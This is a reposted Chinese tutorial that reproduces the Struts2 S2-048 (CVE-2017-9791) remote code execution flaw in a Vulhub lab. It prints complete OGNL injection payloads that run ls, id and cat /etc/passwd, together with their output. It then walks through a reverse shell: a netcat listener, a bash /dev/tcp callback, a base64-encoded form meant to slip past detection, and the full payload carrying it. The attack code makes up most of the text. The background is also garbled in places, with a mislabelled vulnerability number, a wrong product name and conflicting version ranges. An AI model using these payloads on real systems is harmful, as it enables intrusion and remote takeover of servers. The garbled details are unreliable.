Struts2_S2-048漏洞复现:原理详解+环境搭建+渗透实践(CVE-2017-9791) - 指南

news/2026/1/25 22:07:41/文章来源:https://www.cnblogs.com/yangykaifa/p/19530584

目录

一、Struts2_S2-052漏洞

1、漏洞简介

2、漏洞原理

二、环境搭建

1、确保系统已安装 Docker 和 Docker-Compose

2、下载 Vulhub

3、进入漏洞环境

4、启动漏洞环境

5、查看环境状态

三、渗透实战

1、探测环境是否为Struts2框架

2、探测漏洞

3、PoC执行ls命令

4、PoC执行id命令

5、PoC执行cat /etc/passwd命令

四、反弹shell实战

1、攻击机监听

2、目标机建立连接

① 原始命令

② base64编码

③ 攻击目标机

3、反弹shell成功


本文通过vulhub靶场的Struts2_S2-048关卡讲解Struts2_S2-048漏洞原理(CVE-2017-9791)、渗透环境搭建与渗透全流程(包括命令执行、反弹shell)。

一、Struts2_S2-048漏洞

1、漏洞简介

Struts2 S2-048 是 Struts2 框架中的一个远程代码执行漏洞,对应 CVE 编号为CVE-2017-9791,主要影响 Struts2 的 2.3.x 版本(具体为 2.3.5 至 2.3.31 版本)。

特征描述
漏洞编号CVE-2017-9791
漏洞名称S2-048
漏洞类型远程代码执行 (RCE)
根本原因集成Struts1插件后,对用户输入进行了不安全的OGNL表达式解析
影响范围Struts 2.3.28及之前的2.3.x版本(使用struts1插件时)
修复方案升级框架 或 移除struts2-struts1-plugin.jar

2、漏洞原理

Struts2 S2-048 漏洞源于 Struts2 对OGNL表达式解析的安全控制不足。当应用程序使用了struts2-rest-plugin插件(REST 风格开发插件),且处理带有特殊参数的请求时,攻击者可通过构造恶意的Content-TypeAccept头部,注入恶意OGNL表达式,进而触发远程代码执行。

  • OGNL 表达式语言解析器的缺陷:Struts 2 框架采用 OGNL(Object-Graph Navigation Language)作为表达式语言,用于获取和操作数据结构,在 Struts 2 中,OGNL 被用于标签属性和动作类中的值提取。OGNL 表达式语言解析器在处理用户输入时存在安全缺陷,攻击者可以构造恶意的 OGNL 表达式,这些表达式可以绕过安全检查,直接与 Java 对象进行交互,从而可能执行系统命令。
  • struts2-struts1-plugin 插件的问题:struts2-struts1-plugin 插件的作用是将 Struts 1 的 action 封装成 Struts 2 的 action 以便在 Struts 2 上运行。在该插件的 Struts1Action.java 文件中,Struts1Action 类的 execute 方法调用了 getText 函数,而 getText 函数会执行 OGNL 表达式,且 getText 的输入内容是攻击者可控的。
  • 漏洞触发流程:当用户提交请求时,若该请求涉及到 Struts1Action 类的 execute 方法,且其中的 action messages 包含了攻击者构造的恶意 OGNL 表达式,那么在执行 getText 方法时,恶意的 OGNL 表达式就会被解析和执行,从而实现远程代码执行,攻击者可以借此获取远程主机的控制权限。

二、环境搭建

1、确保系统已安装 Docker 和 Docker-Compose

本文使用Vulhub复现Jenkins-CI漏洞,由于Vulhub 依赖于 Docker 环境,需要确保系统中已经安装并启动了 Docker 服务,命令如下所示。

# 检查 Docker 是否安装
docker --version
docker-compose --version
# 检查 Docker 服务状态
sudo systemctl status docker

2、下载 Vulhub

将 Vulhub 项目克隆到本地,具体命令如下所示。

git clone https://github.com/vulhub/vulhub.git
cd vulhub

3、进入漏洞环境

Vulhub 已经准备好现成的漏洞环境,我们只需进入对应目录。注意:docker需要管理员权限运行,故而注意需要切换到root执行后续的docker命令。

cd struts2
cd s2-048

4、启动漏洞环境

在struts/S2-048目录下,使用docker-compose up -d命令启动环境。Vulhub 的脚本会自动从 Docker Hub 拉取预先构建好的镜像并启动容器。

docker-compose up -d

命令执行后,Docker 会完成拉取一个包含struts2:2.3.32(受影响版本)的镜像。

5、查看环境状态

使用 docker ps 命令确认容器启动状态,如下所示当前运行的容器ac0facd98164属于 Vulhub 搭建的s2-048漏洞复现环境。

docker ps
CONTAINER ID   IMAGE                COMMAND                  CREATED         STATUS         PORTS                                             NAMES
ac0facd98164   vulhub/struts2:2.3.32-showcase   "catalina.sh run"   2 minutes ago   Up 2 minutes   0.0.0.0:8080->8080/tcp, :::8080->8080/tcp   s2-048_struts2_1

通过运行结果可知基于 Vulhub 项目的、专门用于复现和测试 Struts2 S2-048 远程代码执行漏洞(CVE-2017-9791)的环境正在运行。

  • CONTAINER ID: ac0facd98164:容器的唯一标识符的前12位,Docker 用它来管理容器。

  • IMAGE: vulhub/struts2:2.3.32-showcase

    • vulhub: 这是一个著名的开源漏洞靶场项目(GitHub 地址: https://github.com/vulhub/vulhub)。它提供了大量各种软件的漏洞环境,用于安全研究和测试。

    • struts2: 说明这个镜像是 Vulhub 项目中的 Struts2 漏洞系列。

    • 2.3.32-showcase: 明确指出了这个 Struts2 的版本是 2.3.32

    • 关键点: Struts2.3.32属于受 S2-048 漏洞影响的2.3.x 版本范围(<= 2.3.28 受影响)。

  • COMMAND: "catalina.sh run":这表示容器启动时运行的命令是 catalina.sh run。这是 Apache Tomcat 服务器的启动脚本。说明这个容器内部运行着一个 Tomcat 服务器,而 Struts2 应用正是部署在这个 Tomcat 上的。

  • PORTS: 0.0.0.0:8080->8080/tcp:表示 Docker 主机的 所有网络接口 (0.0.0.0) 的 8080 端口 已经映射到容器内部的 8080 端口访问方式: 你可以在浏览器或攻击工具中通过 http://<Docker宿主机IP>:8080 来访问这个存在漏洞的 Struts2 应用。

  • NAMES: s2-048_struts2_1:这是容器的名称,由 Docker Compose 自动生成(通常基于 docker-compose.yml 文件中的服务名和项目名)。名称 s2-048_struts2_1 直接证实了这个容器就是用于 S2-048 漏洞环境的。

三、渗透实战

1、探测环境是否为Struts2框架

Docker启动完成后,访问 http://[靶机IP地址]:8080/showcase 来查看Struts2环境是否搭建成功。以本机为例,ip地址为192.168.59.128,端口号为8080,打开后可以看到网页左上角有Strut2图标,说明为struts2框架,说明环境启动成功。

http://192.168.59.128:8080/showcase

2、探测漏洞

在网站的菜单栏中点击Integration-Struts 1 integration,如下图所示。

进入到如下URL探测目标服务器是否存在Struts2 S2-0487远程代码执行漏洞的测试请求。

http://192.168.59.128:8080/integration/editGangster.actionname

进入编辑页面,name处输入${8+18},Age和描述处随机写入即可,如下所示。

执行结果如下所示,26正好等于name参数输入的8+18,这说明参与了计算,存在代码执行漏洞。

3、PoC执行ls命令

name处填入如下内容:%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('ls').getInputStream())).(#q)}

输出结果  Gangster BUILDING.txt CONTRIBUTING.md LICENSE NOTICE README.md RELEASE-NOTES RUNNING.txt bin conf include lib logs native-jni-lib temp webapps work added successfully

4、PoC执行id命令

同理,将poc中需要执行的代码exec('ls')换成exec('id'),name处填入如下内容:

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}

输出结果为: Gangster uid=0(root) gid=0(root) groups=0(root) added successfully。

5、PoC执行cat /etc/passwd命令

同理,将poc中需要执行的代码exec('id')换成exec('cat /etc/passwd'),name处填入如下内容:

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('cat /etc/passwd').getInputStream())).(#q)}

输出结果如下所示,成功获取到了/etc/passwd的命令。

Gangster root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/bin/false added successfully

四、反弹shell实战

1、攻击机监听

计划在目标系统上创建一个反向 shell(反向连接)攻击机的6666端口,命令如下所示。

nc -lvvp 6666
  • nc: 网络瑞士军刀工具(Netcat),用于处理网络连接。

  • -l监听(Listen) 模式,等待别人来连接。

  • -v显示详细信息(Verbose),让你能看到谁连接上了。

  • -p 6666: 在 6666 端口(Port) 上进行监听。

2、目标机建立连接

在目标系统上创建一个反向 shell(反向连接),命令如下所示。它的作用是让当前机器主动连接到攻击者的机器,并提供一个可交互的命令行终端。

① 原始命令
bash -i >& /dev/tcp/192.168.59.128/6666 0>&1
  • bash -i: 启动一个交互式的(interactive)Bash shell。

  • >& /dev/tcp/192.168.59.128/6666:

    • >/dev/tcp/192.168.59.128/6666: Bash 的一个特性,可以建立一个 TCP 连接,连接到 IP 地址为 192.168.59.128 的机器的 6666 端口。

    • >&: 将标准输出(stdout) 和标准错误(stderr) 都重定向到这个 TCP 连接。

  • 0>&1: 将标准输入(stdin) 也重定向到同一个 TCP 连接(即标准输出指向的地方)

整体效果就是让被攻击的服务器主动连接IP为 192.168.59.128 的机器的 6666 端口,并建立一个远程控制会话。具体如下所示。

  • 执行这条命令的服务器(靶机)会主动去连接 192.168.59.128:6666

  • 连接建立后,在这个 Bash 中所有的输入和输出(你打的命令和命令返回的结果)都会通过这个 TCP 连接传输。

  • 在 192.168.59.128 这台机器上监听 6666 端口的人(攻击者),就获得了对方服务器的一个远程命令行控制权。

② base64编码

对命令进行base64编码,使用在线网址https://base64.us/ 即可,编码后内容如下所示。

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEyOC82NjY2IDA+JjE=

于是编码后的命令如下所示,目的是绕过某些命令检测机制,最终在目标系统上建立反向连接,让攻击者获得交互式 shell。这种方式通过编码隐藏真实命令。

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEyOC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}
  • echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEyOC82NjY2IDA+JjE=:输出一段 Base64 编码的字符串,这段字符串解码后是反向 shell 命令。

    • base64 -d:对前面输出的 Base64 字符串进行解码,得到原始命令bash -i >& /dev/tcp/192.168.59.128/6666 0>&1

    • bash:将解码后的命令传递给 bash 执行,最终效果是让目标主机主动连接 IP 为 192.168.59.128、端口为 6666 的机器,建立交互式 shell,使攻击者获得目标系统的远程控制权限。

  • bash -c "...": 启动一个子Shell,专门用来执行引号 "..." 内的所有内容。

  • {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEyOC82NjY2IDA+JjE=}

    • 作用: echo 输出后面那串乱码(YmFzaCA...)。

    • 这串乱码: 其实是 bash -i >& /dev/tcp/192.168.59.128/6666 0>&1 这个命令用Base64编码后的样子。编码是为了避免特殊符号引发问题。

  • |{base64,-d}

    • 作用: 拿到上一步的乱码,用 base64 -d 命令把它解码还原成真正的Bash命令。

  • |{bash,-i}

    • 作用: 将解码后得到的原始反弹Shell命令,交给 bash -i(一个交互式Shell)去执行

③ 攻击目标机

根据上一步的webshell反弹的命令,bash -c执行的命令如下所示。

{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEyOC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}

Payload部分涉及到command的部分如下所示,注意下图黄色部分。

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEyOC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}').getInputStream())).(#q)}

如下所示,将Payload输入到name框中点击提交,这一次一直显示正在连接中。

3、反弹shell成功

此时查看kali攻击机的监听,已经成功连接,输入whoami、ip addr返回正确结果,渗透成功​​。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/1215929.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

AI时代本质的思考

目标&#xff08;Goal&#xff09;&#xff1a;我到底想解决什么&#xff1f; 约束&#xff08;Constraint&#xff09;&#xff1a;不能碰什么&#xff1f; 成功标准&#xff08;Success&#xff09;&#xff1a;做到什么算赢 这个问题非常前沿&#xff0c;而且你这个“人路由…

2025年YOLO算法案例应用领域应用趋势

2025年&#xff0c;基于YOLO系列算法&#xff08;涵盖YOLOv5至YOLO26&#xff09;的案例呈现多领域渗透、技术迭代与场景定制化的特点&#xff0c;覆盖智能交通、工业质检、农业、公共安全、军事、海洋监测、智能家居等多个垂直领域。以下按月份时间线梳理典型案例&#xff0c;…

【SEO黑科技】关键词都埋好了,流量还是差?揭秘图片里的“隐形权重”,用 AI 翻译多拿 30% 搜索流量!

Python 亚马逊SEO 图片索引 A9算法 跨境电商流量 GoogleShopping 图片翻译摘要在跨境电商的精细化运营中&#xff0c;大家都在卷 Listing 的标题和各种埋词。但你可能忽略了一个巨大的流量入口&#xff1a;图片内部的文字。随着亚马逊 A9 算法和 Google Lens 的进化&#xff0c…

论文笔记(一百零六)RynnVLA-002: A Unified Vision-Language-Action and World Model - 教程

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

【服装卖家专享】尺码表全是中文怎么破?揭秘 AI 如何智能重构“表格图片”,降低 50% 的尺码退货率!

Python 服装电商 尺码表翻译 表格识别 降低退货 自动化工具 Shein模式摘要在跨境电商的服装、鞋帽类目中&#xff0c;“因尺码不符退货” 造成的损失往往占到总利润的 20% 以上。很多时候&#xff0c;并非产品尺码不准&#xff0c;而是卖家直接使用了厂家提供的 中文尺码表图片…

得物月付额度可以回收提现使用吗

得物月付额度仅限在得物APP内消费,不支持提现、转账或线下使用,且仅对符合条件的用户开放,系统会根据综合评估给出专属额度。以下是具体使用范围与限制: 核心使用范围全品类商品覆盖:可用于购买得物平台自营及部分…

【读书笔记】《跑外卖》

《跑外卖&#xff1a;一个女骑手的世界》读书笔记 一、作者背景与写作缘起 1.1 作者简介 姓名&#xff1a;王婉&#xff08;婉婉&#xff09;出生地&#xff1a;山东某县城童年记忆&#xff1a;北京庙的传说——据说站在庙上能望见北京城&#xff0c;但她多次尝试从未看到过…

冥想第一千七百七十四天(1774)

1.今天周日&#xff0c;然后今天早上先去跑了8公里今天明显感觉到自己的跑步水平退步得很很大自己的最大然后降低到了56&#xff0c;觉着还是有点累的&#xff0c;然后今天没有做太多事情&#xff0c;今天就和朋友一块儿玩了&#xff0c;玩游戏只周末玩&#xff0c;晚上又带着溪…

冥想第一千七百七十二天(1772)

1.今天周五了&#xff0c;项目上也非常忙&#xff0c;然后下了班本来是想着昨天跑步了&#xff0c;然后但是今天昨天没有时间&#xff0c;然后今天就跑了&#xff0c;感觉最近退步了退步的还是很多的不过这也感觉很正常&#xff0c;人总会有高潮和低谷。 2.感谢感谢父母&#x…

冥想第一千七百七十三天(1773)

今天是周六&#xff0c;然后今天是休息日和朋友约着&#xff0c;然后下午一块儿去了&#xff0c;那个参加了跑团的年会&#xff0c;今年的点比较背一个奖品也没抽中&#xff0c;不过孩子玩的倒是挺开心的&#xff0c;晚上到家都快10:00了吧 2.感谢父母&#xff0c;感谢朋友&…

大数据领域:数据清洗推动企业数字化转型

大数据领域&#xff1a;数据清洗推动企业数字化转型关键词&#xff1a;数据清洗、数据质量、企业数字化转型、大数据处理、数据治理、数据价值、数据生命周期摘要&#xff1a;在企业数字化转型的浪潮中&#xff0c;“数据"被称为新时代的"石油”。但未经处理的原始数…

费雪的管理层访谈技巧:洞察公司文化

费雪的管理层访谈技巧&#xff1a;洞察公司文化关键词&#xff1a;费雪、管理层访谈技巧、洞察、公司文化、投资分析摘要&#xff1a;本文聚焦于费雪所提出的管理层访谈技巧&#xff0c;并深入探讨如何通过这些技巧洞察公司文化。公司文化对企业的长期发展和业绩表现有着至关重…

Agent设计哲学:简洁、可靠、可控——构建可信赖智能系统的三大支柱与落地框架

Agent设计哲学:简洁、可靠、可控 副标题:构建可信赖智能系统的三大支柱与落地框架 作者:光子AI 出版社:AI智能体时代虚拟出版社 创作时间:2026-01-17 面对智能Agent时应有的审慎与敬畏——追逐智能能力的同时,不忘回到问题本质,用简洁对抗冗余,用可靠筑牢底线,用可控…

Agentic AI:从技术架构到商业落地:构建自主、协作、可信的下一代智能系统

Agentic AI:从技术架构到商业落地:构建自主、协作、可信的下一代智能系统 作者:光子AI 出版社:AI智能体时代虚拟出版社 创作时间:2026-01-18 前言 当ChatGPT以惊人的自然语言理解能力掀起生成式AI风暴时,整个行业都在欢呼一个新时代的到来。然而,作为这场变革的深度参与…

UF_Modl.h

UF_MODL.h 和 UF_MODL_legacy.h 函数分类介绍 一、uf_modl.h 函数分类 1. 特征管理UF_MODL_ask_feature_sign:获取特征符号(布尔操作类型) UF_MODL_ask_immediate_children:获取建模即时子项偏好设置 UF_MODL_set_…

Hadoop 助力大数据领域的精准营销

Hadoop 助力大数据领域的精准营销 关键词&#xff1a;Hadoop、大数据、精准营销、分布式计算、用户画像、数据挖掘、商业智能 摘要&#xff1a;在“酒香也怕巷子深”的数字时代&#xff0c;企业如何从海量数据中精准找到目标用户&#xff1f;Hadoop作为大数据领域的“基建狂魔”…

大数据领域分布式存储的多租户支持方案

大数据领域分布式存储的多租户支持方案 关键词:分布式存储、多租户架构、资源隔离、性能优化、成本管理、QoS保障、容器化技术 摘要:本文深入探讨大数据领域分布式存储系统中多租户支持的核心技术与实现方案。通过分析多租户架构的技术挑战,提出包含资源隔离、性能保障、安全…

巴菲特的财务报表分析:解读平台经济的新指标

巴菲特的财务报表分析&#xff1a;解读平台经济的新指标 关键词&#xff1a;巴菲特、财务报表分析、平台经济、新指标、价值评估 摘要&#xff1a;本文深入探讨了巴菲特的财务报表分析方法在平台经济领域的应用&#xff0c;旨在寻找解读平台经济的新指标。通过介绍背景知识&…

在 Electron 框架中连接 OPC UA 服务器并读取 PLC 信息

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

得物月付额度回收变现秒到方法

得物月付额度的核心优势,在于让用户在享受消费便利的同时,最大程度降低支付压力,还能解锁多重专属福利。在额度使用上,得物月付设有专属免息期,免息期内还款无需支付任何利息,真正实现“先买后付”无压力;平台还…